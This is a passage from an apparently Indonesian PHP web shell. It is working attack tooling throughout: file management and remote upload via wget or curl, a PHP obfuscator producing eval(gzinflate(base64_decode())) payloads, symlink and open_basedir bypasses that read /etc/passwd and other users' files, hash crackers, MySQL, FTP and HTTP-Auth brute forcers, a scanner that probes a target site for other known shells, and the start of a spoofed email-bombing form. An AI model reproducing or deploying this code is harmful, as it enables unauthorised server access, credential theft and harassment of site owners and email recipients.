  2027. <tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
  2028. <form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  2029. <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
  2030. <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
  2031. <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  2032. <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  2033. onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
  2034. </form></td></tr>
  2035.  
  2036. <tr><td>Size</td><td>".ukuran($file)."</td></tr>
  2037. <tr><td>Permission</td><td>".get_perms($file)."</td></tr>
  2038. <tr><td>Owner</td><td>".$owner."</td></tr>
  2039. <tr><td>Create time</td>
  2040. <td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
  2041. <tr><td>Last modified</td>
  2042. <td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
  2043. <tr><td>Last accessed</td>
  2044. <td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
  2045. <tr><td>Actions</td>
  2046. <td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr> </table> ";
  2047.  
  2048. if(isset($_GET['type']) && ($_GET['type']=='image')) {
  2049. echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>";
  2050. } elseif(isset($_GET['type']) && ($_GET['type']=='code')) {
  2051. echo "<div class=\"viewfile\">";
  2052. $file = wordwrap(@file_get_contents($file),"240","\n");
  2053. @highlight_string($file);
  2054. echo "</div>";
  2055. } else {
  2056. echo "<div class=\"viewfile\">";
  2057. echo nl2br(htmlentities((@file_get_contents($file))));
  2058. echo "</div>";
  2059. }
  2060. }
  2061. elseif(is_dir($_GET['view'])) {
  2062. echo showdir($pwd,$prompt);
  2063. }
  2064. }
  2065. elseif(isset($_GET['edit']) && ($_GET['edit'] != "")) {
  2066. if(isset($_POST['save'])) {
  2067. $file = $_POST['saveas'];
  2068. $content = magicboom($_POST['content']);
  2069. if($filez = @fopen($file,"w")) {
  2070. $time = date("d-M-Y H:i",time());
  2071. if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time; else $msg = "failed to save";
  2072. @fclose($filez);
  2073. } else $msg = "permission denied";
  2074. } if
  2075. (!isset($file)) $file = $_GET['edit'];
  2076. if($filez = @fopen($file,"r")) {
  2077. $content = ""; while(!feof($filez)) {
  2078. $content .= htmlentities(str_replace("''","'",fgets($filez)));
  2079. } @
  2080. fclose($filez);
  2081. } ?>
  2082.  
  2083. <form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
  2084. <table class="cmdbox">
  2085. <tr><td colspan="2"> <textarea class="output" name="content"> <?php echo $content; ?> </textarea>
  2086. <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" />
  2087. <input class="inputzbut" type="submit" value=" Save " name="save" style="width:12%;" /> &nbsp;<?php echo $msg; ?></td></tr>
  2088. </table></form>
  2089.  
  2090.  
  2091.  
  2092. <?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')) {
  2093. if(isset($_POST['uploadcomp'])) {
  2094. if(is_uploaded_file($_FILES['file']['tmp_name'])) {
  2095. $path = magicboom($_POST['path']);
  2096. $fname = $_FILES['file']['name'];
  2097. $tmp_name = $_FILES['file']['tmp_name'];
  2098. $pindah = $path.$fname;
  2099. $stat = @move_uploaded_file($tmp_name,$pindah);
  2100. if ($stat) {
  2101. $msg = "file uploaded to $pindah";
  2102. } else $msg = "failed to upload $fname";
  2103. } else $msg = "failed to upload $fname";
  2104. } elseif(isset($_POST['uploadurl'])) {
  2105. $pilihan = trim($_POST['pilihan']);
  2106. $wurl = trim($_POST['wurl']);
  2107. $path = magicboom($_POST['path']);
  2108. $namafile = download($pilihan,$wurl);
  2109. $pindah = $path.$namafile;
  2110. if(is_file($pindah)) {
  2111. $msg = "file uploaded to $pindah";
  2112. } else $msg = "failed to upload $namafile";
  2113. } ?>
  2114.  
  2115.  
  2116. <form action="?y=<?php echo $pwd; ?>&amp;x=upload" enctype="multipart/form-data" method="post">
  2117. <table class="tabnet" style="width:320px;padding:0 1px;">
  2118. <tr><th colspan="2">_DMASTERPIECE_</th></tr>
  2119. <tr><td colspan="2"><p style="text-align:center;">
  2120. <input style="color:#000000;" type="file" name="file" />
  2121. <input type="submit" name="uploadcomp" class="inputzbut" value=" _UPLOAD_ " style="width:80px;"></p></td>
  2122.  
  2123. <tr><td colspan="2">
  2124. <input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr></tr> </table></form>
  2125. <table class="tabnet" style="width:320px;padding:0 1px;">
  2126. <tr><th colspan="2">Upload From Url</th></tr>
  2127. <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload">
  2128. <table>
  2129. <tr><td>Url : </td>
  2130. <td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.google.com"></td></tr>
  2131. <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
  2132. <tr><td><select size="1" class="inputz" name="pilihan">
  2133. <option value="wwget">wget</option>
  2134. <option value="wlynx">lynx</option>
  2135. <option value="wfread">fread</option>
  2136. <option value="wfetch">fetch</option>
  2137. <option value="wlinks">links</option>
  2138. <option value="wget">GET</option>
  2139. <option value="wcurl">curl</option>
  2140. </select></td>
  2141. <td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value=" _UPLOAD_ " style="width:246px;"></td></tr></form></table></td> </tr></table>
  2142. <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
  2143.  
  2144.  
  2145.  
  2146. <?php }
  2147. elseif(isset($_GET['x']) && ($_GET['x'] == 'code')){ ?>
  2148. <form action="?y=<?php echo $pwd; ?>&amp;x=code" method="post">
  2149. <?php
  2150. {
  2151. echo "<br><br><div id=result><center><b>PHP ENCODE/DECODE</b><hr />
  2152. <form method='post'><table class=tbl>
  2153. <tr><td>Method : <select name='typed' style='color:red; background-color:black; border:1px solid #666;'>
  2154. <option>Encode</option><option>Decode</decode></select> </td></tr>
  2155. <tr><td>TYPE : <select name='typenc' style='color:red; background-color:black; border:1px solid #666;'>
  2156. <option>GZINFLATE</option><option>GZUNCOMPRESS</option><option>STR_ROT13</option></tr>
  2157. </td>
  2158. <tr><td>
  2159. <textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25' name='php_content'></textarea></tr>
  2160. </td></table><hr/><input style='color:#FF0000;background-color:#000000' type='submit' value=' >> ' /><br /><hr /><br /></form></div>";
  2161.  
  2162. $meth_d=$_POST['typed'];
  2163. $typ_d=$_POST['typenc'];
  2164. $c_ntent=$_POST['php_content'];
  2165. $c_ntent=$c_ntent;
  2166. switch($meth_d)
  2167. {
  2168. case "Encode":
  2169. switch($typ_d)
  2170. {
  2171. case "GZINFLATE":
  2172. $res_t=base64_encode(gzdeflate(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
  2173. $res_t="<?php eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
  2174. break;
  2175. case "GZUNCOMPRESS":
  2176. $res_t=base64_encode(gzcompress(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
  2177. $res_t="<?php eval(gzuncompress(base64_decode(\"$res_t\"))); ?>";
  2178. break;
  2179. case "STR_ROT13":
  2180. $res_t=trim(stripslashes($c_ntent.' '),'<?php, ?>');
  2181. $res_t=base64_encode(str_rot13($res_t));
  2182. $res_t="<?php eval(str_rot13(base64_decode(\"$res_t\"))); ?>";
  2183. break;
  2184. }
  2185. break;
  2186. case "Decode":
  2187. switch($typ_d)
  2188. {
  2189. case "GZINFLATE":
  2190. $res_t=gzinflate(base64_decode($c_ntent));
  2191. break;
  2192. case "GZUNCOMPRESS":
  2193. $res_t=gzuncompress(base64_decode($c_ntent));
  2194. break;
  2195. case "STR_ROT13":
  2196. $res_t=str_rot13(base64_decode($c_ntent));
  2197. break;
  2198. }
  2199. break;
  2200. }
  2201. echo "<center><textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25'>".htmlspecialchars($res_t)."</textarea></center></div>";
  2202. }
  2203.  
  2204. ?>
  2205.  
  2206.  
  2207.  
  2208. <?php }
  2209. elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass')){ ?>
  2210. <form action="?y=<?php echo $pwd; ?>&amp;x=bypass" method="post">
  2211. <?php
  2212. set_time_limit(0);
  2213. @mkdir('dancok',0777);
  2214. $htcs = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  2215. $f =@fopen ('dancok/.htaccess','w');
  2216. fwrite($f , $htcs);
  2217. @symlink("/","dancok/root");
  2218. $pg = basename(__FILE__);
  2219.  
  2220. echo "<br><br><center><b>[+] This Function NEED FILE passwd.txt [+]</b><br/>
  2221. <b>[+] Klik Eval & Go | Copy all | Create New File | Paste & Save As passwd.txt [+]<b/><br/>
  2222. <b>[+] GO BACK ON HERE AND THEN YOU CAN FIND BYPASS [+]<b/><br/>
  2223. <b>[+] TERIMA KASIH GUE GANTENG :P [+]<b/><center><br><br>";
  2224.  
  2225. function ex($text,$a,$b){
  2226. $explode = explode($a,$text);
  2227. $explode = explode($b,$explode[1]);
  2228. return $explode[0];
  2229. }
  2230. if(isset($_GET['file']) or @filesize('passwd.txt') > 0)
  2231. {
  2232. $cont = stripcslashes($_POST['file']);
  2233. if(!file_exists('passwd.txt')){
  2234. $f = @fopen('passwd.txt','w');
  2235. $w = @fwrite($f,$cont);
  2236. fclose($f);
  2237. }
  2238. if($w or @filesize('passwd.txt') > 0){
  2239. echo "<table align='center' border='1' cellspacing='0' cellpadding='0' width='40%'>
  2240. <td align='center'><b>_USERS_</b></td>
  2241. <td align='center'><b>_SYMLINK_</b></td>";
  2242. flush();
  2243.  
  2244. $fil3 = file('passwd.txt');
  2245. foreach ($fil3 as $f){
  2246. $u=explode(':', $f);
  2247. $user = $u['0'];
  2248.  
  2249. echo "<tr>
  2250. <td align='center' width='20%'>$user</td>
  2251. <td align='center' width='20%'><a href='dancok/root/home/$user/public_html' target='_blank'>Symlink</a></td></tr>";
  2252. flush();
  2253. flush();
  2254. }
  2255. die ("</tr></div>");
  2256. }
  2257. }
  2258. echo '</body></html>';
  2259. ?>
  2260.  
  2261.  
  2262.  
  2263. <?php }
  2264. elseif(isset($_GET['x']) && ($_GET['x'] == 'open_base')){ ?>
  2265. <form action="?y=<?php echo $pwd; ?>&amp;x=open_base" method="post">
  2266. <?php
  2267. function CleanDir($d)
  2268. {
  2269. $d=str_replace("\\","/",$d);
  2270. $d=str_replace("//","/",$d);
  2271. return $d;
  2272. }
  2273.  
  2274. if(isset($_POST['curl_bypass']))
  2275. {
  2276. $ch=curl_init("file://$_POST[file_bypass]");
  2277. curl_setopt($ch,CURLOPT_HEADERS,0);
  2278. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  2279. $file_out=curl_exec($ch);
  2280. curl_close($ch);
  2281. echo "<textarea rows='20' style='color:#FF0000;background-color:#000000' cols='150' readonly>".htmlspecialchars($file_out)."</textarea></br></br>";
  2282. }
  2283. elseif(isset($_POST['tmp_bypass']))
  2284. {
  2285. tempnam("/home/",$_POST['file_passwd']);
  2286. }
  2287. elseif(isset($_POST['copy_bypass']))
  2288. {
  2289.  
  2290. if(@copy($_POST['file_bypass'],$_POST['dest']))
  2291. {
  2292. echo "File successfully copied!</br>";
  2293. @$fh=fopen($_POST['dest'],'r');
  2294. echo "<textarea rows='20' style='color:#FF0000;background-color:#000000' cols='150' readonly>".htmlspecialchars(@fread($fh,filesize($_POST['dest'])))."</textarea></br></br>";
  2295. @fclose($fh);
  2296. } else echo "Failed to copy file</br>";
  2297. }
  2298. elseif(isset($_POST['include_bypass']))
  2299. {
  2300. if(file_exists($_POST['file_bypass']))
  2301. {
  2302. echo "<textarea style='color:#FF0000;background-color:#000000' rows='20' cols='150' readonly>";
  2303. @include($_POST['file_bypass']);
  2304. echo "</textarea>";
  2305. }
  2306. }
  2307. elseif(isset($_POST['sql_bypass']))
  2308. {
  2309. extract($_SESSION);
  2310. $conn=mysql_connect($mhost.":".$mport,$muser,$mpass);
  2311. if($conn)
  2312. {
  2313. mysql_select_db($_POST['sql_db']);
  2314. mysql_query("CREATE TABLE `$_POST[tmp_table]` (`File` TEXT NOT NULL);");
  2315. mysql_query("LOAD DATA INFILE \"$_POST[sql_file]\" INTO TABLE $_POST[tmp_table]") or die(mysql_error());
  2316. $res=mysql_query("SELECT * FROM $_POST[tmp_table]");
  2317. if(mysql_num_rows($res)<1) die("Failed to retrieve file contents!");
  2318. if($res)
  2319. {
  2320. while($row=mysql_fetch_array($res)) $f.="$row[0]</br>";
  2321. echo $f;
  2322. }
  2323. mysql_query("DROP TABLE $_POST[tmp_table]");
  2324. }
  2325. }
  2326. echo "<table style='margin: auto; width: 100%; text-align: center;'><tr><td colspan='2'>Security (open_basedir) bypassers</td></tr>
  2327. <tr><td>Bypass using cURL</td><td>Bypass using tempnam()</td></tr>
  2328. <tr><td><form method='post' name='bypasser'>Read file: <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'><input type='submit' name='curl_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td><td><form method='post' name='bypasser'>Write file: <input type='text' style='color:#FF0000;background-color:#000000' value='../../../etc/passwd' name='file_bypass'><input type='submit' style='color:#FF0000;background-color:#000000' name='tmp_bypass' value='Bypass'></form></td></tr>
  2329. <tr><td>Bypass using copy()</td><td>Bypass using include()</td></tr>
  2330. <tr><td><form method='post' name='bypasser'>Copy to: <input type='text'style='color:#FF0000;background-color:#000000' style='width: 250px;' name='dest' value='".CleanDir(getcwd())."/passwd.txt'></br> File to copy: <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'><input type='submit' name='copy_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td><td><form method='post' name='bypasser'>Path to file: <input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='file_bypass'><input type='submit' name='include_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td></tr>
  2331. <tr><td colspan='2'>Bypass using SQL LOAD INFILE [Login to SQL server first]</td></tr>
  2332. <tr><td colspan='2'><form method='post' name='bypasser'>[Existing] Database to store temporary table: <input type='text' style='color:#FF0000;background-color:#000000' value='tmp_database' name='sql_db'></br>Temporary table: <input type='text' style='color:#FF0000;background-color:#000000' value='tmp_file' name='tmp_table'></br><input type='text' style='color:#FF0000;background-color:#000000' value='/etc/passwd' name='sql_file'><input type='submit' name='sql_bypass' style='color:#FF0000;background-color:#000000' value='Bypass'></form></td></tr>
  2333. </table>";
  2334.  
  2335. ?>
  2336.  
  2337. <?php }
  2338. elseif(isset($_GET['x']) && ($_GET['x'] == 'crack')){ ?>
  2339. <form action="?y=<?php echo $pwd; ?>&amp;x=crack" method="post">
  2340. <form method='post' enctype='multipart/form-data'>
  2341. <input type='hidden' name='docrack'>
  2342. <table style='margin: auto; width: 100%; text-align: center;'><tr><td colspan='2'><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg"></td></tr>
  2343. <tr><td>MD5 Cracker</td><td>SHA1 Cracker</td></tr>
  2344. <tr>
  2345. <td>Hash: <input type='text' style='color:#FF0000;background-color:#000000' name='md5hash'><input type='submit' style='color:#FF0000;background-color:#000000' value='Crack' name='md5crack'></td>
  2346. <td>Hash: <input type='text' style='color:#FF0000;background-color:#000000' name='sha1hash'><input type='submit' style='color:#FF0000;background-color:#000000' value='Crack' name='sha1crack'></td></tr>
  2347.  
  2348. <tr><td>VBulletin Salt Cracker</td><td>SMF Salt cracker</td></tr>
  2349. <tr><td>Hash: <input type='text' style='color:#FF0000;background-color:#000000' name='vbhash'></br>Salt: <input type='text' style='color:#FF0000;background-color:#000000' name='vbsalt' salt='#7A'></br><input type='submit' style='color:#FF0000;background-color:#000000' value='Crack' name='vbcrack'></td><td>Hash: <input type='text' style='color:#FF0000;background-color:#000000' name='smfhash'></br>Salt: <input type='text' style='color:#FF0000;background-color:#000000' name='smfsalt'></br><input type='submit' style='color:#FF0000;background-color:#000000' value='Crack' name='smfcrack'></td></tr>
  2350.  
  2351. <tr><td>MySQL Brute Force</td><td>FTP Brute Force</td></tr>
  2352. <tr><td>User: <input type='text' style='color:#FF0000;background-color:#000000' value='root' name='mysql_user'></br>Host: <input type='text' value='localhost' style='color:#FF0000;background-color:#000000' name='mysql_host'></br>Port: <input type='text' style='color:#FF0000;background-color:#000000' value='3306' name='mysql_port'></br><input style='color:#FF0000;background-color:#000000' type='submit' value='Brute' name='mysqlcrack'></td>
  2353. <td>User: <input type='text' style='color:#FF0000;background-color:#000000' value='root' name='ftp_user'></br>Host: <input type='text' value='localhost' style='color:#FF0000;background-color:#000000' name='ftp_host'></br>Port: <input type='text' style='color:#FF0000;background-color:#000000' value='21' name='ftp_port'></br>Timeout: <input type='text' style='color:#FF0000;background-color:#000000' value='5' name='ftp_timeout'></br><input type='submit' style='color:#FF0000;background-color:#000000' value='Brute' name='ftpcrack'></td></tr>
  2354.  
  2355. <tr><td>Remote login Brute Force</td><td>HTTP-Auth Brute Force</td></tr>
  2356. <tr><td>Login form: <input type='text' style='color:#FF0000;background-color:#000000' value='' name='remote_login_target'></br>Username: <input type='text'style='color:#FF0000;background-color:#000000' value='admin' name='remote_login_user'><input type='submit' style='color:#FF0000;background-color:#000000' value='Brute' name='remote_login'></td>
  2357. <td>Username: <input type='text' style='color:#FF0000;background-color:#000000' name='auth_user' value='porn_user101'></br>Auth URL: <input type='text' style='color:#FF0000;background-color:#000000' name='auth_url'><input type='submit' style='color:#FF0000;background-color:#000000' value='Brute' name='authcrack'></td></tr>
  2358. <tr><td colspan='2'>Wordlist</td></tr>
  2359. <tr><td colspan='2'><input type='file' style='color:#FF0000;background-color:#000000' name='wordlist'></br></br></td></tr>
  2360. </br></table></form>
  2361.  
  2362.  
  2363. <?php
  2364. if(isset($_POST['docrack']))
  2365. {
  2366. $con=true;
  2367. $show=0;
  2368. $list=@fopen($_FILES['wordlist']['tmp_name'],'r');
  2369. if(is_resource($list))
  2370. {
  2371. if(isset($_POST['ftpcrack']))
  2372. {
  2373. echo "Bruting $_POST[ftp_user]@$_POST[ftp_host]...</br>";
  2374. if(!empty($_POST['ftp_port'])) $port=$_POST['ftp_port'];
  2375. else $port='3306';
  2376. if(empty($_POST['ftp_timeout'])||!preg_match("/^[0-9]$/",$_POST['ftp_timeout']))
  2377. $time=3;
  2378. else $time=$_POST['ftp_timeout'];
  2379. @$ftp=ftp_connect($_POST['ftp_host'],$port,$time);
  2380. if(!$ftp) $con=false;
  2381. if($con)
  2382. {
  2383. $show++;
  2384. while(!feof($list))
  2385. {
  2386. @$pass=fgets($list);
  2387. if(ftp_login($ftp,$_POST['ftp_user'],trim($pass)))
  2388. {
  2389. echo "Password found! Password for $_POST[ftp_user] is $pass<br>";
  2390. @ftp_close($ftp);
  2391. break;
  2392. }
  2393. if($show==10000){echo "Trying pass $pass...</br>"; $show=0;}
  2394. }
  2395. } else echo "Failed to connect!</br>";
  2396. }
  2397. elseif(isset($_POST['remote_login']))
  2398. {
  2399. //if(!function_exists("jitghjytiojho")) die("cURL support has to be enabled.");
  2400. /*
  2401. $ch=curl_init($_POST['remote_login_target']);
  2402. curl_setopt($ch,CURLOPT_HEADER,0);
  2403. curl_setopt($ch,CURLOPT_POST,1);
  2404. curl_setopt($ch,CURLOPT_POSTFIELDS,'');
  2405. curl_exec($ch);
  2406. */
  2407. if(preg_match("/^http:\/\/+/",$_POST['remote_login_target'])) die("Do not include http:// in the target URL.");
  2408. $path=explode('/',$_POST['remote_login_target']);
  2409. $site=$path[0];
  2410. for($i=1;$i<count($path);$i++) $full_path.='/'.$path[$i];
  2411.  
  2412. }
  2413. elseif(isset($_POST['vbcrack']))
  2414. {
  2415. if(empty($_POST['vbhash']) OR empty($_POST['vbsalt'])) die("Please specify a hash and salt");
  2416. while(!feof($list))
  2417. {
  2418. $show++;
  2419. $pass=trim(fgets($list));
  2420. $vbenc=md5(md5($pass).$_POST['vbsalt']);
  2421. if($vbenc===$_POST['vbhash'])
  2422. {
  2423. echo "Password for $_POST[vbhash] found! is $pass</br>";
  2424. break;
  2425. }
  2426. if($show===10000)
  2427. {
  2428. $show=0;
  2429. echo "Trying pass $pass...</br>";
  2430. }
  2431. }
  2432. echo "Complete</br>";
  2433. }
  2434. elseif(isset($_POST['mysqlcrack']))
  2435. {
  2436. $host=$_POST['mysql_host'];
  2437. $user=$_POST['mysql_user'];
  2438. if(!empty($_POST['mysql_port'])) $host.=":$_POST[mysql_port]";
  2439. while(!feof($list))
  2440. {
  2441. $show++;
  2442. $pass=trim(fgets($list));
  2443. if(@mysql_connect($host,$user,$pass))
  2444. {
  2445. echo "Password found! Password for $user is $pass</br>";
  2446. break;
  2447. }
  2448. if($show==10000)
  2449. {
  2450. echo "Trying $pass...</br>";
  2451. $show=0;
  2452. continue;
  2453. }
  2454. }
  2455. }
  2456. elseif(isset($_POST['authcrack']))
  2457. {
  2458. $arr=explode('/',$_POST['auth_url']);
  2459. $con_url=$arr[0];
  2460. if(empty($_POST['auth_url'])) die("Enter a target first...");
  2461. for($i=1;$i<count($arr);$i++) $path.='/'.$arr[$i];
  2462. if(preg_match("/^http:\/\/+/",$_POST['auth_url'])) die("Do not include http:// in the url");
  2463. while(!feof($list))
  2464. {
  2465. if(is_resource($conn_url=fsockopen($con_url,80,$errno,$errstr,5)))
  2466. {
  2467. $show++;
  2468. $pass=trim(fgets($list));
  2469. if($show>5000) {$show=0; echo $pass;}
  2470. $encode=base64_encode(trim($_POST['auth_user']).':'.$pass);
  2471. $header="GET $path HTTP/1.1\r\n";
  2472. $header.="Host: $con_url\r\n";
  2473. $header.="Authorization: Basic $encode\r\n";
  2474. $header.="Connection: Close\r\n\r\n";
  2475. fputs($conn_url,$header,strlen($header));
  2476. $tmp++;
  2477. while(!feof($conn_url))
  2478. {
  2479. $tmp=fgets($conn_url);
  2480. if(preg_match("/HTTP\/\d+\.\d+ 200+/",$tmp))
  2481. {
  2482. echo "Password found! Password=$pass</br></br>";
  2483. break 2;
  2484. }
  2485. }
  2486. }
  2487. }
  2488. echo "Done</br>";
  2489. }
  2490. elseif(isset($_POST['md5crack']))
  2491. {
  2492. if(empty($_POST['md5hash'])) die("Enter a hash before attempting to crack one ;)");
  2493. $md5=trim($_POST['md5hash']);
  2494. while(!feof($list))
  2495. {
  2496. $show++;
  2497. $pass=trim(fgets($list));
  2498. if(md5($pass)===$md5)
  2499. {
  2500. echo "Password found! Plaintext for $md5 is $pass</br>";
  2501. break;
  2502. }
  2503. if($show==10000)
  2504. {
  2505. echo "Trying $pass...</br>";
  2506. $show=0;
  2507. continue;
  2508. }
  2509. }
  2510. }
  2511. elseif(isset($_POST['sha1crack']))
  2512. {
  2513. if(empty($_POST['sha1hash'])) die("Enter a hash before attempting to crack one ;)");
  2514. $sha1=trim($_POST['sha1hash']);
  2515. while(!feof($list))
  2516. {
  2517. $show++;
  2518. $pass=trim(fgets($list));
  2519. if(sha1($pass)===$sha1)
  2520. {
  2521. echo "Password found! Plaintext for $sha1 is $pass</br>";
  2522. break;
  2523. }
  2524. if($show==10000)
  2525. {
  2526. echo "Trying $pass...</br>";
  2527. $show=0;
  2528. continue;
  2529. }
  2530. }
  2531. }
  2532. }
  2533. @fclose($list);
  2534. }
  2535. ?>
  2536.  
  2537. <?php }
  2538. elseif(isset($_GET['x']) && ($_GET['x'] == 'sscan')){ ?>
  2539. <form action="?y=<?php echo $pwd; ?>&amp;x=sscan" method="post">
  2540. <center><br /><br />
  2541. <table><form method='POST'>
  2542. <tr><td>URL TARGET : <input size=40 style='color:#FF0000;background-color:#000000' name='rem_web' value='http://'></td></tr>
  2543. <tr><td><font color=red>INPUT NAMA FILE / SHELL</font></tr></td>
  2544. <tr><td><textarea spellcheck='false' class='textarea_edit' style='color:#FF0000;background-color:#000000' cols=50 rows=30 name='tryzzz'>
  2545. WSO.php
  2546. dz.php
  2547. cpanelcracker.php
  2548. blackshadow.php
  2549. sym.php
  2550. ftpcracker.php
  2551. cpanel.php
  2552. cpn.php
  2553. sql.php
  2554. mysql.php
  2555. madspot.php
  2556. itsecteam_shell.php
  2557. b374k.php
  2558. madsopot.php
  2559. indishell.php
  2560. Cgishell.pl
  2561. killer.php
  2562. changeall.php
  2563. 2.php
  2564. Sh3ll.php
  2565. dz0.php
  2566. dam.php
  2567. user.php
  2568. dom.php
  2569. whmcs.php
  2570. r00t.php
  2571. c99.php
  2572. gaza.php
  2573. q.php
  2574. 1.php
  2575. d0mains.php
  2576. madspotshell.php
  2577. Sym.php
  2578. c22.php
  2579. c100.php
  2580. Cpanel.php
  2581. zone-h.php
  2582. cp.php
  2583. L3b.php
  2584. d.php
  2585. admin1.php
  2586. upload.php
  2587. up.php
  2588. uploads.php
  2589. sa.php
  2590. r57.php
  2591. shell.php
  2592. sa.php
  2593. </textarea></td></tr>
  2594. <tr><td><br /><input type='submit' style='color:#FF0000;background-color:#000000' value=' >> SCAN >> ' class='input_big' /><br /><br /></td></tr></form></table><br /><br /><hr /><br /><br />
  2595.  
  2596. <?php
  2597. set_time_limit(0);
  2598. $rtr=array();
  2599. echo "<div id=result><center><table>";
  2600. $webz=$_POST['rem_web'];
  2601. $uri_in=$_POST['tryzzz'];
  2602. $r_xuri = trim($uri_in);
  2603. $r_xuri=explode("\n", $r_xuri);
  2604. foreach($r_xuri as $rty)
  2605. {
  2606. $urlzzx=$webz.$rty;
  2607. if(function_exists('curl_init'))
  2608. {
  2609. echo "<tr><td style='text-align:left'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
  2610. $ch = curl_init($urlzzx);
  2611. curl_setopt($ch, CURLOPT_NOBODY, true);
  2612. curl_exec($ch);
  2613. $status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
  2614. curl_close($ch);
  2615. if($status_code==200)
  2616. {
  2617. echo "<td style='text-align:left'><font color=green> Found....</font></td></tr>";
  2618. } else {
  2619. echo "<td style='text-align:left'><font color=red>Not Found...</font></td></tr>";
  2620. }
  2621. } else {
  2622. echo "<font color=red>cURL Not Found </font>";
  2623. } }
  2624. echo "</table><br /><br /><hr /><br /><br /></div>";
  2625. ?>
  2626.  
  2627. <?php }
  2628. elseif(isset($_GET['x']) && ($_GET['x'] == 'email')){ ?>
  2629. <form action="?y=<?php echo $pwd; ?>&amp;x=email" method="post">
  2630. <html>
  2631. <head><title>./DM TE4M</title>
  2632. </head>
  2633. <center><body bgcolor="black">
  2634. <a href="http://www.facebook.com/groups/D.MASTERPIECE"><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"></a><br><br>
  2635. <span style="color:white"> --=|[+] BOMB FAKE EMAIL [+]|=--<br/></center>
  2636. <span style="color:#00FF00"><hr></span>
  2637. <form method=post>
  2638. <input type=hidden value=dm name=dm>
  2639. <center><span style="color:#00FF00">-:[ X-EMAIL ]:-</span><br/>
  2640. <span style="color:white">**Isi Dengan Nama Email Palsu**<br/>
  2641. <input name=wew value="<?echo $wew; ?>"></center>
  2642. <br/>
  2643. <center><span style="color:#00FF00">-:[ EMAIL TUJUAN ]:-</span><br/>
  2644. <span style="color:white">**Isi Email Target Bomb Email**</span><br/>
  2645. <input name=wow value="<?echo $wow; ?>"></center>
  2646. <br/>
  2647. <center><span style="color:#00FF00">-:[ SUBJECT ]:-</span> <br/>
  2648. <span style="color:white">**Isi Nama Judul Pesan**</span><br/>
  2649. <input name=anu value="<?echo $anu; ?>"></center>
  2650. <br/>
  2651. <center><span style="color:#00FF00">-:[ JUMLAH KIRIM ]:-</span><br/>
  2652. <span style="color:white">**Isi Nominal Antara 0 s/d 100**</span><br/>
  2653. <input name=sodok value="<?echo $sodok; ?>"></center>
  2654. <br/>
  2655. <center><span style="color:#00FF00">-:PESAN ]:-</span><br/>
  2656. <span style="color:white">**Tulis Pesan Kamu**</span><br/>
  2657. <textarea width="200" height="100" name=deathnote><?echo $deathnote?></textarea><br/>
  2658. <p>
  2659. <input type=submit value=./CROTZ></center></form>
  2660. <span style="color:#00FF00"><hr></span>
  2661. <span style="color:yellow">
  2662. <?php
  2663. //DMASTERPIECE TE4M Introduction
  2664. $dm = $_POST['dm'];
  2665. //Fungsi Pengirim Email
  2666. $wew = $_POST['wew'];
  2667. //Fungsi Penerima Email
  2668. $wow = $_POST['wow'];
  2669. //Fungsi Jumlah Pesan Yg Akan Di Kirim
  2670. $sodok = $_POST['sodok'];
  2671. //Fungsi Subject Atau Judul
  2672. $anu = $_POST['anu'];
